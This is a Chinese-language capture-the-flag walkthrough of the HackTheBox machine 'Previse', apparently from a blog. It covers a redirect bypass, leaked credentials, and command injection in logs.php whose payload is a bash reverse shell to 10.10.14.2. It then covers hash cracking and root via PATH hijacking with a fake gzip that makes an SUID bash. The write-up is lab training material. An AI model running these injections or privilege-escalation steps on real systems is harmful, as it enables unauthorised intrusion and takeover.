当前位置:网站首页>HackTheBox | Previse
HackTheBox | Previse
2022-08-08 13:01:00 【xxL7-】
Previse
nmap扫描,开放22、80.
访问80,是一个登录页面
dirsearch扫扫,属于是啥也没扫出来
wp里扫出个nav.php
点击这几个链接,发现都跳转到了login.php。
使用bp抓包,不会自动跳转;看到了accounts.php
的内容
根据幻想出来的表单,提交POST请求,创建新用户
使用创建的用户成功登录
找到一个SITEBACKUP.ZIP
下载之后在config.php
中找到了一对账号root\[email protected]!:)

在logs.php
中发现exec
函数,该函数将接收delim
传来的参数,并执行
对应页面为
bp抓包,修改delim的值
;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1';
url编码后发包
拿到反弹shell
检查/etc/passwd
文件,存在用户m4lwhere
查找数据库中的内容,得到m4lwhere的hash后的密码$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
,其中包含一个salt值
在login.php
中找到相关的代码,根据代码可知使用$1$🧂llol$
作为salt加密了密码,得到了数据库中的字符串
使用john跑一下密码
ssh登录
sudo -l
检查,可以执行/opt/scripts/access_backup.sh
不出意料,不具备写权限
检查文件内容,发现是在对访问日志做备份
提权方法直接看了wp,理解了一下,不是很难,大概就是对环境变量的劫持
在Linux中执行命令时,会按照$PATH
的顺序挨个去每个文件夹下查找是否存在名称符合的可执行程序,可以使用echo $PATH
查看
以上述执行结果为例,如果在/usr/local/sbin
和/usr/local/bin
下都存在一个bash
可执行文件,那么就会先使用/usr/local/sbin/bash
;如果/usr/local/sbin
中不存在bash
,则会继续向后寻找,直至在某一个文件夹中找到一个叫做bash
的文件。
在这题中,使用如下命令将/tmp
目录作为新增加的环境变量目录
export PATH=/tmp:$PATH
然后在/tmp目录下创建了一个gzip文件,文件中写入
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
这里又使用到了4755
这个特殊权限,将/tmp/bash的SUID置位,那么在运行/tmp/bash的时候,它就会以该文件的所有者的权限运行。
需要注意的是,要将新创建的gzip文件添加可执行权限
chmod +x gzip
然后使用sudo执行脚本,执行完成后会发现在/tmp目录下多了一个bash文件
执行bash -p
,可以看到当前用户还是m4lwhere,但是euid
已变成0
,也就是当前进程拥有root用户的权限,从而完成提权
边栏推荐
- C语言的三个经典题目:三步翻转法、杨氏矩阵、辗转相除法
- 如果Controller里有私有的方法,能成功访问吗?
- shell基础知识合集
- (7) FlinkSQL kafka data written to the mysql way 2
- Server Configuration - Install Redis on Linux System
- Implement a customized pin code input control
- (4)FlinkSQL将socket数据写入到mysql方式一
- 用 Antlr 重构脚本解释器
- 难产的“第一股”:中式快餐之困
- 【重构map】【重构filter】【重构Some】【重构reduce方法】【重构flat函数】
猜你喜欢
随机推荐
腾讯,投了个 “离诺贝尔奖最近的华人”
又一个千亿市场,冰淇淋也成了创新试验田
深析C语言的灵魂 -- 指针
北京 北京超大旧货二手市场开集了,上千种产品随便选,来的人还真不少
2022-08-05
phpstyle安装管理mysql
curl获取harbor镜像仓库项目下的镜像列表
自动当道,效率至上 | 快来解锁财务共享服务中心数字化秘籍
Program Environment and Preprocessing
Collection of shell basics
使用单点登录 (SSO):便捷访问,降低风险,精简流程
服务器配置——Linux系统安装Redis
Qt的简易日志库实现及封装
字节跳动资深架构师整理2022年秋招最新面试题汇总:208页核心体系
STM32 entry development to make infrared remote control (smart home-universal remote control)
看到这个应用上下线方式,不禁感叹:优雅,太优雅了!
深度剖析-class的几个对象(utlis,component)-瀑布流-懒加载(概念,作用,原理,实现步骤)
优刻得“失速”:营收转降,定向增发股东浮亏超三成
Docker-持久化数据库(数据卷)
使用shardingjdbc实现读写分离配置